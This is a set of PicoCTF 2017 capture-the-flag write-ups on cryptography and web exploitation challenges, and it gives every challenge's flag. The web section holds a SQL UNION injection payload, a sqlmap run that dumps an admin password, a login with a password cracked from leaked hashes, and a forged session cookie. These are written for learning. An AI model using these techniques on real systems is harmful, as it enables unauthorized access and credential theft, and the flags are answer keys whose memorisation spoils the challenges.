439828238fe9b93c5f35370c27ae237f
2236ab32061954a6773f3d6d98da2db4
c2705c59cc6b8ce46998908d05dc89fd
25c4691e9d5f447e81b61309508793d8
f48ed291cac07e5639053eace029b8c5
487ce2d711a764022cec0687af37fb59
d2e22f4ad1f3a862e7ee1cee6c326a70
62338b9dc6a88321dfddf7a7c582ee54
89e45113e4688b368765ebcc7693cab2
bdfa144ea642b3cc51cce69f6d1393c4
204c882eaff2d36a4afa3b4178c9ec1a
8992c417a6972f2c34931cf36be96098
5395457726827c22670cbec7205084e8
9f457e1c4e215e004135ad36ab6f3a67
d6505f6ef735778beb26caeb9dca12b4
654fe8ee272ab72e7bb5ee6e05a87ded
1ad124933659f5143c419f2e5f82c6bb
003b352e33d5ad4e7950b5399931aad6
9abbb42a69cb55e8e31424615f1de491
256b1e8a197f8843244399e4a7d00324
20510ee116cf9ade89e8baf9c513b4af
9241b69fecb4acb2588d1097c269b231
8c778ead2a496380e52366c8395b4fbb
32e9e49597708d25b416a73a151ae032
f6267eac8bb8c33881c168e3a9e2ecda
2547d685fd5b874450ea49972a5e896a
8214a9ae89884045032246ddb5bcd701
334f9aac6adc3e20ac20ccd240e21938
d850a69a279dd554eb05028c255c0835
8ed0b3507e5b7b00908cadac03df3a13
4b0d94c219dfd2f8f5b26265e3a4869f
7d3bc53a55fd9f254d89b63816152760
f611ae0d6e3e242c49ebc33a82a28cba
a61025c4277dd1dd903b06ab810dc9cb
72f7441a0b91a030ce80d4acd4791d69
854f7c124bc5ea5015b030023092896b
ee064316439b3bee22d758a3ea6fa3df
57aca98fc6a975788bac5713bdead972
703c170f27d71bd4b004af41bb59e9e2
b619b9e5be45e1302680f9b6f29bb702
1ce4a7c6db3e137ba49599d57d60b244
f33d66ad31eb668393837531dbdfe2b3
463451762aa1c8725b39fbd652cc3a34
74ef9bad440ea442d9153f0989998e61
f0133bb28202f10847166ad8bbd00e68
b00bcdd13c31df88648cc63dec51c74e
43314ede7bc7f8cc6b21f47ed0b2aa2a
4216d8ed5569f552e98df7ab78115d79
5f07053cb1bc8190d02ce3240a626497
a287e9f97b73dcee12c0d1984037ca0d
debab078f0535660963fb32f601a67e3
2f2b7adb6d838021eaa7a6d17fe2399f
a251e04b98e16eed4a6daa120bfe22a3
32fb70d6635fe446e8455a815fd9f11d
ffbbfb30b80d894335ea6fea2611ff1e
c3f14e02b8dadfc237e9ae3765a7257c
427bd88899374a0279ec2fb5ca30cdab
1f75d730830d25f9ae070a7e3631dff4
d7b4b7009c97daafe6def7c1a9720a03
6fdf380e749e0d47cf01ea0f19a6f77f
18b423b6e259fdfb758ac258d3cd39f7
d4f35971293652b92671586cd91be608
c71f5a31122ced70d1307090683aa2f2
fb8deb304d10a20b661fa9a7a8e90888
d92f1345626304a6186eee13d9950413
e22c4da6e22aca3dddf5b7a674d3a3fd
cd634164f94963ac6574d1c4384a8dc3
12eb5d2067008f68ab22be3f1cf0e1aa
2438d9a778a83a027f6871c94a968bcc
815418113755cc74b66dd64edbee9bb0 <- Enter this one
a9afc1eebbc4c86a23cc8d81c051b0cb
815418113755cc74b66dd64edbee9bb0
Hello user 6208! Here's the flag: 9494f4171092452602fa545ab927e99e
Therefore, the flag is 9494f4171092452602fa545ab927e99e
.
PicoCTF_2017: SoRandom
Category: Cryptography Points: 75 Description:
We found sorandom.py running at shell2017.picoctf.com:16768. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag?
Hint:
How random can computers be?
Write-up
Firstly, it doesn't seem to be a random random.
$ nc shell2017.picoctf.com 16768
Unguessably Randomized Flag: BNZQ:449xg472190mwx6869b8pt10rwo92624
Looking in the sorandom.py
code, we see that the random generator has already been preseeded!
random.seed("random")
Okay, let's crack our Python knuckles and get to work.
$ ./crack.py
FLAG: 107bd559693aef6692e1ed55ebe29514
Therefore, the flag is 107bd559693aef6692e1ed55ebe29514
.
PicoCTF_2017: Hash101
Category: Cryptography Points: 50 Description:
Prove your knowledge of hashes and claim a flag as your prize! Connect to the service at shell2017.picoctf.com:9661
Hint:
All concepts required to complete this challenge, including simple modular math, are quickly found by googling :)
Write-up
This one is just a mess to document but I'll try my best. Firstly, do take note that none of the values will be the same everytime attempted. We will be using nc
to connect as well.
$ nc shell2017.picoctf.com 9661
Welcome to Hashes 101!
There are 4 Levels. Complete all and receive a prize!
-------- LEVEL 1: Text = just 1's and 0's --------
All text can be represented by numbers. To see how different letters translate to numbers, go to http://www.asciitable.com/
TO UNLOCK NEXT LEVEL, give me the ASCII representation of 0111000001101100011000010110100101100100
>plaid
Correct! Completed level 1
Fairly simple, level 1 just requires a binary conversion.
------ LEVEL 2: Numbers can be base ANYTHING -----
Numbers can be represented many ways. A popular way to represent computer data is in base 16 or 'hex' since it lines up with bytes very well (2 hex characters = 8 binary bits). Other formats include base64, binary, and just regular base10 (decimal)! In a way, that ascii chart represents a system where all text can be seen as "base128" (not including the Extended ASCII codes)
TO UNLOCK NEXT LEVEL, give me the text you just decoded, plaid, as its hex and decimal equivalent
hex>706c616964
Good job! 706c616964 to ASCII -> plaid is plaid
Now decimal
dec>482854660452
Good job! 482854660452 to Hex -> 706c616964 to ASCII -> plaid is plaid
Correct! Completed level 2
This one was slightly tricky, because it wasn't asking for the decimal representation of the ascii, but rather the of the hex.
----------- LEVEL 3: Hashing Function ------------
A Hashing Function intakes any data of any size and irreversibly transforms it to a fixed length number. For example, a simple Hashing Function could be to add up the sum of all the values of all the bytes in the data and get the remainder after dividing by 16 (modulus 16)
TO UNLOCK NEXT LEVEL, give me a string that will result in a 10 after being transformed with the mentioned example hashing function
>18
incorrect. sum of all characters = 105 mod 16 = 9 does not equal 10
>19
Correct! Completed level 3
Just bruteforce it, it's modulus 16, not modulus 2^16.
--------------- LEVEL 4: Real Hash ---------------
A real Hashing Function is used for many things. This can include checking to ensure a file has not been changed (its hash value would change if any part of it is changed). An important use of hashes is for storing passwords because a Hashing Function cannot be reversed to find the initial data. Therefore if someone steals the hashes, they must try many different inputs to see if they can "crack" it to find what password yields the same hash. Normally, this is too much work (if the password is long enough). But many times, people's passwords are easy to guess... Brute forcing this hash yourself is not a good idea, but there is a strong possibility that, if the password is weak, this hash has been cracked by someone before. Try looking for websites that have stored already cracked hashes.
TO CLAIM YOUR PRIZE, give me the string password that will result in this MD5 hash (MD5, like most hashes, are represented as hex digits):
811edc316305926e9883e2c283b8714c
>k1dk1n
Correct! Completed level 4
Clue has been given, just look to HashKiller
You completed all 4 levels! Here is your prize: c3ee093f26ba147ccc451fd13c91ffce
Therefore, the flag is c3ee093f26ba147ccc451fd13c91ffce
.
PicoCTF_2017: Broadcast
Category: Cryptography Points: 120 Description:
You stumbled upon a group Message. Can you figure out what they were sending? The string sent is ascii encoded as a hex number (submit the ascii string as the flag)
Hint:
The same message, with a small exponent, is being encrypted with several different n values
Write-up
This challenge involves the RSA Hastad Broadcast attack. In a true TLDR fashion, this attack refers to how if a small exponent is used and when a significant number of ciphertexts and public keys have been intercepted, the ciphertext can then be easily cracked.
$ ./solve.py
Flag: broadcast_with_small_e_is_killer_20472673112
Therefore, the flag is broadcast_with_small_e_is_killer_20472673112
.
PicoCTF_2017: Weird RSA
Category: Cryptography Points: 90 Description:
We recovered some data. It was labeled as RSA, but what in the world are "dq" and "dp"? Can you decrypt the ciphertext for us?
Hint:
Write-up
Python and BigInteger to the rescue! Link to script. No idea why it would just work with m2
alone, I need to learn my RSA more.
Therefore, the flag is Theres_more_than_one_way_to_RSA
.
PicoCTF_2017: ComputeAES
Category: Cryptography Points: 50 Description:
You found this clue laying around. Can you decrypt it?
Hint:
Try online tools or python
Write-up
Again using Python, I designed a simple script using pycrypto.
$ ./decrypt.py
flag{do_not_let_machines_win_983e8a2d}__________
Therefore, the flag is flag{do_not_let_machines_win_983e8a2d
.
PicoCTF_2017: ComputeRSA
Category: Cryptography Points: 50 Description:
RSA encryption/decryption is based on a formula that anyone can find and use, as long as they know the values to plug in. Given the encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number?
Hint:
decrypted = (encrypted) ^ d mod N
Write-up
Math time! Since most calculators have a character limit, let's use a Python calculator!
>>> decrypt = (150815 ** 1941) % 435979
>>> print(decrypt)
133337
Therefore the flag is 133337
.
PicoCTF_2017: SmallRSA
Category: Cryptography Points: 120 Description:
You intercepted a single message. However, it appears to be encrypted. Can you decrypt it? Message
Hint:
Normally, you pick e and generate d from that. What appears to have happened in this case? What is likely about the size of d?
Write-up
This challenge is an implementation of Wiener's RSA attack. I would like to give credits to pablocelayes for his wonderful library for this attack. He saved me from doing math.
Therefore, the flag is flag{Are_any_RSA_vals_good_95979862524}
.
PicoCTF_2017: Substitute
Category: Cryptography Points: 40 Description:
A wizard (he seemed kinda odd...) handed me this. Can you figure out what it says?
Hint:
There are tools that make this easy this.
Write-up
An example of a classical substitution cipher, where every letter is most likely not the actual letter. There are indeed many tools that make this easily solvable but my personal top favourite is Quipuip.
On the first try of attempting to solve with Quipuip, you would probably get a paragraph of text that starts to make more sense.
THE FLAG IS IFONLYMODERNCRYPTO?ASLI?ETHIS. GENERATED BY MAR?OV CHAIN OF
THE ?I?IPEDIA PAGE ON CALVIN AND HOBBES. BE ?ERE LONG, THE FLA?S ON A
2005 PRESENT TIMES THAN STAMINA OR A ?EE?LY SUNDAY, DECEMBER 21, 1989
1990, THE DRE? EDITORS ?AS UPROOTED EVERY ?ORLD CAN BE FOUND THE
CONTINUED TO ?OR? AT A FAITHFUL REPLIES ?HERE HOBBES, STYLE AIM CALVIN,
ATTAC? BOTH SIDES TO MAR?S, "?HAT DO CONTROLLING AN ACTUAL BOARD BOXES
...
This seems very promising, so let's do a letter for letter comparison with the original paragraph.
MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY
THE FLAG IS IFONLYMODERNCRYPTO?ASLI?ETHIS. GENERATED BY MAR?OV CHAIN OF
MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A
THE ?I?IPEDIA PAGE ON CALVIN AND HOBBES. BE ?ERE LONG, THE FLA?S ON A
2005 HKTLTFM MODTL MIAF LMADOFA GK A CTTQSB LWFRAB, RTETDZTK 21,
2005 PRESENT TIMES THAN STAMINA OR A ?EE?LY SUNDAY, DECEMBER 21,
We are getting close. Now we just need to add clues to the quipuip machine. For one, MIT=THE
and YSAU=FLAG
. Additionally, COQOHTROA
is most likely WIKIPEDIA
. So we add clues like these,
MIT=THE
YSAU=FLAG
COQOHTROA=WIKIPEDIA
Viola, we got the flag!
THE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS. GENERATED BY MARKOV CHAIN OF
THE WIKIPEDIA PAGE ON CALVIN AND HOBBES. BE WERE LONG, THE FLAWS ON A
2005 PRESENT TIMES THAN STAMINA OR A WEEKLY SUNDAY, DECEMBER 21,
...
Therefore, the flag is IFONLYMODERNCRYPTOWASLIKETHIS
.
PicoCTF_2017: Keyz
Category: Cryptography Points: 20 Description:
While webshells are nice, it'd be nice to be able to login directly. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. Make sure to copy it correctly! The key is in the ssh banner, displayed when you login remotely with ssh, to shell2017.picoctf.com
Hint:
There are plenty of tutorials out there. This one worked for me: https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2
Write-up
Really simple, this one. Firstly, generate an id_rsa identity. Might as well go for the 4096-bit key while you are at it.
$ ssh-keygen -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:dc9Jgcpa7Ieh+HOc0YltffBabS66IupucLeUJwfgvao root@23ee096bfcb4
The key's randomart image is:
+---[RSA 4096]----+
| |
| . . . |
| . o . ooo . |
| . o o+.+= . |
| + S = + |
|. . * o.+.* . |
| o .=o.+ . |
| o oo *=. |
|E=+. .+++. |
+----[SHA256]-----+
# No, none of that is real duh
Then, copy the contents of ~/.ssh/id_rsa.pub
into the clipboard. Next, open up PicoCTF web shell and create the folder .ssh
. Then, run this command.
$ echo "{PASTE_HERE}" >> ~/.ssh/authorized_keys
Now try SSH-ing into the box at shell2017.picoctf.com
from your computer!
$ ssh [email protected]
The authenticity of host 'shell2017.picoctf.com (34.206.4.227)' can't be established.
ECDSA key fingerprint is SHA256:ZIqVNC9hm15Z6mdDFCWC/H0+5MzSzXEhW3a+iHP1HM4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'shell2017.picoctf.com,34.206.4.227' (ECDSA) to the list of known hosts.
Congratulations on setting up SSH key authentication!
Here is your flag: who_needs_pwords_anyways
Therefore, the flag is who_needs_pwords_anyways
.
PicoCTF_2017: SmallSign
Category: Cryptography Points: 140 Description:
This service outputs a flag if you can forge an RSA signature! nc shell2017.picoctf.com 5596 smallsign.py
Hint:
RSA encryption (and decryption) is multiplicative.
Write-up
This challenge mainly focuses on a simple concept of RSA, which is it's multiplicativity? Is that a word? Well, basically, this concept states that for a given signature of m1
, s1
and a signature of m2
, s2
would end up in the form where (m1
* m2
) = (s1
* s2
).
In this challenge, we are given the ability to make the server sign as many integers as we want for 60 seconds and then we have to also solve the challenge in that same time. This challenge is a random integer from 0
to 2**32
, which is a large number and something we cannot possibly get the server to sign to, within 60 seconds. However, we can take a shortcut and just try getting the server to sign a couple prime factors and then hoping for the RNG to get us a challenge that is factored up by the prime factors we have.
Lo and behold, python script and shell loops.
while true; do
python3 -u smallsign.py | tee -a log
sleep 3
done
Therefore, the flag is damnitiforgottosavetheflag
.
PicoCTF_2017: Encrypted Shell
Category: Cryptography Points: 190 Description:
This service gives a shell, but it's password protected! We were able intercept this encrypted traffic which may contain a successful password authentication. Can you get shell access and read the contents of flag.txt? The service is running at shell2017.picoctf.com:38314.
Hint:
Are any of the parameters used in the key exchange weaker than they should be?
Write-up
This challenge revolves on breaking the Diffie-Hellman key exchange. The hint given tells us that something is weak and upon observing the server code closely, we find that a = random.randint(1, 2**46)
, which is surprisingly, a very small number.
So, we are then able to use the "Baby Step Giant Step" algorithm to try and reverse a
from the given A
. Additionally, since we know the range of a
, we can run a sqrt(a)
to limit the amount of small steps we have to take.
Therefore, the flag is 467de743e8f82e09b555426e322adba5
.
PicoCTF_2017: LeakedHashes
Category: Cryptography Points: 90 Description:
Someone got hacked! Check out some service's password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check... The service is running at shell2017.picoctf.com:53397!
Hint:
See if you can crack any of the login credentials and then connect to the service as one of the users. What's the chance these hashes have actually already been broken by someone else? Are there websites that host those cracked hashes? Connect from the shell with nc.
Write-up
Let's try to see what the login looks like.
$ nc shell2017.picoctf.com 53397
enter username:
root
root's password:
Well, damn, we only have root's hash. Let's do a simple cat hashdump.txt | cut -d ':' -f 2
to retreive all password hashes and go down to our local rainbow table site to solve all the hashes. We are unable to find out what's root's password but never mind that, let's try christene
.
$ nc shell2017.picoctf.com 53397
enter username:
christene
christene's password:3lf1n
welcome to shady file server. would you like to access the cat ascii art database? y/n
y
/\_/\
( o o )
G-==_Y_==-M
`-'
/\ /\
(O o)
=(: ^ :)=
'*v*'
|\_/|
(. .)
=w= (\
/ ^ \//
(|| ||)
,""_""_ .
/\_/\
( o o )
-==_Y_==-
`-'
/\**/\
( o_o )_)
,(u u ,),
{}{}{}{}{}{}
/\_/\
( o.o )
> ^ <
/\_/\
/\ / o o \
//\ \~(*)~/
` \/ ^ /
| \|| ||
\ '|| ||
\)()-())
A_A
(-.-)
|-|
/ \
| | __
| || | | \___
\_||_/_/
/\__/\
/` '\
=== 0 0 ===
\ -- / - flag is 53c0bedf15f745eeed4a6c6c30a10f30
/ \
/ \
| |
\ || || /
\_oo__oo_/#######o
/\___/\
( o o )
( =^= )
( )
( )
( )))))))))))
/\ /\
(O o)
=(:^:)=
U
_,,/|
\o o'
=_~_=
/ \ (\
(////_)//
~~~
/\ /\
{ `---' }
{ O O }
~~|~ V ~|~~
\ \|/ /
`-----'__
/ \ `^\_
{ }\ |\_\_ W
| \_/ |/ / \_\_( )
\__/ /(_E \__/
( /
MM
("`-''-/").___..--''"`-._
`6_ 6 ) `-. ( ).`-.__.`)
(_Y_.)' ._ ) `._ `. ``-..-'
_..`--'_..-_/ /--'_.' ,'
(il),-'' (li),' ((!.-'
from http://user.xmission.com/~emailbox/ascii_cats.htm
Easy.
Therefore, the flag is 53c0bedf15f745eeed4a6c6c30a10f30
PicoCTF_2017: A Happy Union
Category: Web Exploitation Points: 110 Description:
I really need access to website, but I forgot my password and there is no reset. Can you help? I like lite sql :)
Hint:
A SQL union allows a single query to select values from multiples tables.
Write-up
SQLite injection tested here. Create a account with username ' or user like '' UNION SELECT '1', user, pass FROM users --
, password not important.
Therefore, the flag is flag{union?_why_not_onion_a69464d4869c743e26c08df8686e4003}
.
PicoCTF_2017: TW_GR_E2_EoTDS
Category: Web Exploitation Points: 120 Description:
Given the relative success of the first release, it was no surprise that a second installment in the TW:GR series was released. I can't beat this one either, though... those darn spatulas put an induction cooktop in the floor so I can't get to the flag! Can you get it for me? You can play the game here.
Hint:
Toasters can't go through induction cooktops because they're made of metal. However, it looks like there's a nice, friendly spatula on the last floor; and better yet, he's made of rubber! I'm sure he could be persuaded to go pick up the flag and bring it back to you.
Write-up
This one was a fun one, making use of the Spatula's AI that forces it to go down a corridor if it already sees one. There's no real way to explain this but as the bot is moving down the vertical corridor in the room, move down, in the opposite direction. This tricks it's shortest distance movement AI to force it to get the flag for you.
Therefore, the flag is i_dont_want_to_say_goodbye__gets_me_every_time_2fa00d62583c852b0e5ae11dcdcbabe1
.
PicoCTF_2017: No Eyes
Category: Web Exploitation Points: 125 Description:
The website isn't really me much, but you can still get the admin password, right?
Hint:
Sometimes an error message can be just as useful.
Write-up
For this one, instead of crafting our own queries, let's use the amazing tool, SQLMap, an automated SQL injection tool.
./sqlmap.py -u http://shell2017.picoctf.com:21088/ --data "username=admin&password=password" -o --threads=10 --level 5 --risk 3 --dump
___
__H__
___ ___[)]_____ ___ ___ {1.1.3.19#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:06:58
[09:06:58] [INFO] resuming back-end DBMS 'sqlite'
[09:06:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin&password=password' OR NOT 4034=4034-- ndmv
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 1940=1940-- Wbwv&password=password
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[09:07:05] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[09:07:05] [INFO] fetching tables for database: 'SQLite_masterdb'
[09:07:05] [INFO] fetching number of tables for database 'SQLite_masterdb'
[09:07:05] [INFO] retrieved:
[09:07:05] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:07:05] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
1
[09:07:06] [INFO] retrieving the length of query output
[09:07:06] [INFO] retrieved: 5
[09:07:09] [INFO] retrieved: us_r_ 3/5 (60%)
[09:07:13] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:07:14] [INFO] retrieved: users
[09:07:14] [INFO] retrieving the length of query output
[09:07:14] [INFO] retrieved: 40
[09:07:24] [INFO] retrieved: CREATE TABLE users(user text, pass text)
[09:07:24] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb'
[09:07:24] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[09:07:24] [INFO] retrieved: 1
[09:07:25] [INFO] retrieving the length of query output
[09:07:25] [INFO] retrieved: 63
[09:07:40] [INFO] retrieved: not_all_errors_should_be_shown_3c826cdcbf6f146ac6f86e6b65d3b1de
[09:07:40] [INFO] retrieving the length of query output
[09:07:40] [INFO] retrieved: 5
[09:07:44] [INFO] retrieved: admin
[09:07:44] [INFO] analyzing table dump for possible password hashes
Database: SQLite_masterdb
Table: users
[1 entry]
+-------+-----------------------------------------------------------------+
| user | pass |
+-------+-----------------------------------------------------------------+
| admin | not_all_errors_should_be_shown_3c826cdcbf6f146ac6f86e6b65d3b1de |
+-------+-----------------------------------------------------------------+
[09:07:44] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.sqlmap/output/shell2017.picoctf.com/dump/SQLite_masterdb/users.csv'
[09:07:44] [INFO] fetched data logged to text files under '/root/.sqlmap/output/shell2017.picoctf.com'
[*] shutting down at 09:07:44
Therefore, the flag is not_all_errors_should_be_shown_3c826cdcbf6f146ac6f86e6b65d3b1de
.
PicoCTF_2017: TW_GR_E1_ART
Category: Web Exploitation Points: 100 Description:
Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one...? Check it out here.
Hint:
I think this game is running on a Node.js server. If it's configured poorly, you may be able to access the server's source. If my memory serves me correctly, Node servers have a special file that lists dependencies and a start command; maybe you can use that file to figure out where the other files are?
Write-up
All NodeJS servers generally depend on dependencies(hah!). Let's try accessing http://shell2017.picoctf.com:16929/package.json
.
{
"name": "rogue-1",
"version": "1.0.0",
"main": "server/serv.js",
"dependencies": {
"beautiful-log": "^1.3.0",
"body-parser": "^1.16.0",
"callsite": "^1.0.0",
"clone": "^2.1.0",
"colors": "^1.1.2",
"cookie-parser": "^1.4.3",
"deep-diff": "^0.3.4",
"dequeue": "^1.0.5",
"express": "^4.14.1",
"mongodb": "^2.2.25",
"morgan": "^1.7.0",
"nconf": "^0.8.4",
"promise": "^7.1.1",
"socket.io": "^1.7.2",
"sprintf": "^0.1.5"
},
"devDependencies": {},
"scripts": {
"prestart": "node server/init.js",
"start": "node server/serv.js"
}
}
Interesting. Let's try looking at http://shell2017.picoctf.com:16929/server/init.js
var mongo = require("mongodb").MongoClient;
var nconf = require("nconf");
nconf.argv().env();
let db;
mongo.connect(`mongodb://localhost:27017/blundertale`)
.then((d) => {
db = d;
return db.authenticate(nconf.get("MONGO_USER"), nconf.get("MONGO_PASS"));
})
.then(() => {
return db.createCollection("games");
})
.catch((err) => {
console.error("[DB] DB connection failed", err);
})
.then(() => {
db.close();
});
Is this database I am seeing? What's this nconf
? Let's take a look at http://shell2017.picoctf.com:16929/server/serv.js
.
var express = require("express");
var app = express();
app.use(require("body-parser").json());
app.use(require("cookie-parser")());
// app.use(require("morgan")("dev"));
var http = require("http").Server(app);
var path = require("path");
var fs = require("fs");
var Promise = require("promise");
var logger = require("./logger");
var sprintf = require("sprintf");
var nconf = require("nconf");
var db = require("./db");
var io = require("socket.io")(http);
require("./game")(app, io);
nconf.argv().env();
var PORT = nconf.get("port") || 8888;
app.get("/", function(req, res){
res.status(200);
res.sendFile(path.join(__dirname, "../public/html/index.html"));
});
app.use(express.static(path.join(__dirname, "..")));
http.listen(PORT, function(){
logger.info("[server] Listening on *:" + PORT);
});
process.on("unhandledRejection", (err) => {
logger.error(err.stack);
});
Let's try looking into game.js
case "revealFlag":
if (entity.items[action.item].effects[i].check == 64) {
outcome.flag = process.env["PICO_CTF_FLAG"];
}
break;
What's this? If .check
is 64, we get the flag? Let's take a look at the config.js.
function createFlag(check, location) {
return {
name: "Flag",
description: "Gives you the flag... maybe.",
location: location,
use: 0,
id: check + 100,
sprite: "flag",
effects: [
{
type: "revealFlag",
check: check
},
{
type: "destroyItems"
}
]
};
}
...
items: Array.from(new Array(83), (_, idx) => {
if (idx >= 2) {
idx++
}
if (idx >= 77) {
idx++;
}
var r = Math.floor(idx / 5) + 1;
var c = (idx % 5) + 1;
return createFlag(idx, { r: r, c: c });
}),
Look like a flag's .check
value is only 64
when idx
is 64. r
and c
seems to correspond with coordinates on the map. Let's try to calculate the coordinate of the flag when idx
is 64.
var r = Math.floor(64 / 5) + 1;
var c = (64 % 5) + 1;
Therefore, r
is 13
and c
is 5
. Let's try to plot this on a map.
[ -4, -3, -3, -3, -3, -3, -2],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, flag, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, stair, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -6, -7, -7, -7, -7, -7, -8]
Navigating to the coordinate on the map gets us a flag that when used, gives us the flag.
PicoCTF_2017: TW_GR_E4_STW
Category: Web Exploitation Points: 200 Description:
Many saw the fourth installment of Toaster Wars: Going Rogue as a return to grace after the relative mediocrity of the third. I'm just glad it was made at all. And hey, they added some nifty new online scoreboard features, too!
Hint:
Ooh, what a nifty scoreboard! If we get a bunch of people playing at once, we can have a race through the dungeon!
Write-up
Execute this command right under Level 3 staircase to move up twice :D
socket.emit("action", {type: "move", direction: 2});
socket.emit("action", {type: "move", direction: 2});
Therefore, the flag is im_still_upset_you_dont_get_to_keep_the_cute_scarves_in_the_postgame_a44703668b068b3fa9a7a83a8f466ace
.
PicoCTF_2017: TW_GR_E3_Gtl
Category: Web Exploitation Points: 180 Description:
Many think the third entry in the Toaster Wars: Going Rogue series didn't live up to Explorers due to its simplified gameplay, but I liked the new plot and ensemble cast better. Anyway, this one also has a flag that I can't figure out how to get...
Hint:
Clearly, you can't get to the flag. But perhaps you don't need to go over to it at all?
Write-up
There are two solutions for this challenge, one intended and the other, not so much. Firstly, I'll write about the intended solution, which is more or less considered the 100% solution.
The first solution involves no RNG and was the originally intended solution of the challenge setter. We first have to identify the couple of "bugs" in the code, particular the one with item pick up.
// item check
if(entity.items.length < entity.stats.maxItems){
var itId = -1;
var name = "";
for(var i = 0; i < state.items.length; i++){
if(state.items[i].location.r == entity.location.r && state.items[i].location.c == entity.location.c){
itId = state.items[i].id;
msg.outcome.push({
type: "item/get",
id: state.items[i].id,
item: state.items[i].name
});
break;
}
}
}
entity.items = entity.items.concat(state.items.filter(function(it){ return it.id == itId; }));
state.items = state.items.filter(function(it){ return it.id != itId; });
Through rubber ducky debugging, you realize that at any time, items are concatenated by their IDs upon item pick up. This also means that there is no limit to the amount of items you can pick up at once, as long as the IDs are similar.
Additionally, looking into server/config.js
reveals our flag's ID
function createFlag(location) {
return {
name: "Flag",
description: "Gives you the flag.",
location: location,
use: 0,
id: 12,
sprite: "flag",
effects: [
{
type: "revealFlag"
}
]
};
}
This means we need to have an ID of 12 of an item to get the flag as well if we drop it. Moving to phase 2 of this solution, we need to look at another bug/feature
socket.on("resortItems", function(){
...
for(var i = 0; i < state.player.items.length; i++){
state.player.items[i].id = i;
...
})
It appears that whenever we sort items, the item's ID values are changed as well. This means, we can theoretically pick up and item, change it's ID value to 0
and drop it again. Why do that? Well, this also means it's possible to sort 13 items and have the 13th item with the same ID as the flag. However, since you can only pick up a maximum of 8 items, you need to exploit the fact you pick up all the items with the same ID value like 0
.
So, to solve this, you need to get up to level 4 with a full inventory of 8 items. Then, proceed to murder all the enemies in that level to be able to do whatever you have to do next uninterrupted. Now, proceed to drop all items except 1, sort, drop, pick up another item, sort and drop rinse and repeat till all items have an ID of 0. Then, proceed to pick them all up at once by moving over any item with ID 0. Bam, now you have more items in your inventory than you should have.
Proceed to level 5, sort and drop all your items till you are left with the 13th item. Drop the 13th item, walk back and pick it up again and you should get your flag.
The next solution was completely unintended and relies on the low ID value of flag while simultanously relying on generator.js
.
By pure RNG, it is possible to have an item spawn in a level with an ID of 12. Using Chrome's Developers Console and repeatedly checking item values with state.items
and state.player.items
, it's possible to narrow it down to a single item with ID of 12. Then, resist sorting your items till you are on level 5, drop the item and pick it up again. Flag bingo!
Therefore, the flag is the_new_feature_where_you_manage_your_own_shelf_in_the_refrigerator_was_an_interesting_addition_3a4b094d798ee2e4fc2aac44cf9a5902
.
PicoCTF_2017: Biscuit
Category: Web Exploitation Points: 75 Description:
Your friend has a personal website. Fortunately for you, he is a bit of a noob when it comes to hosting a website. Can you find out what he is hiding? [Website](http://shell2017.picoctf.com:46787/.
Hint:
Viewing the source of the website is usually a good start.
Write-up
Looking at source, we get
<html>
<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
background-image: url("private/image.png");
}
</style>
<body >
<div style='background:white;margin: auto;border: 1px solid red;width: 600px; margin-top: 20%;' >
<center>
<form style="font-size: 40px; ">
Access Denied</form>
</center>
</div>
</body>
</html>
Downloading private/cookies.sqlite
gives us this nice sqlite file and in it, we find a free cookie! Using Javascript to edit document.cookie, we get the flag!
> document.cookie = "ID=F3MAqpWxIvESiUNLHsflVd"
Therefore, the flag is a31bbaad652b861dec1cdf7a7fe9fc9d
.
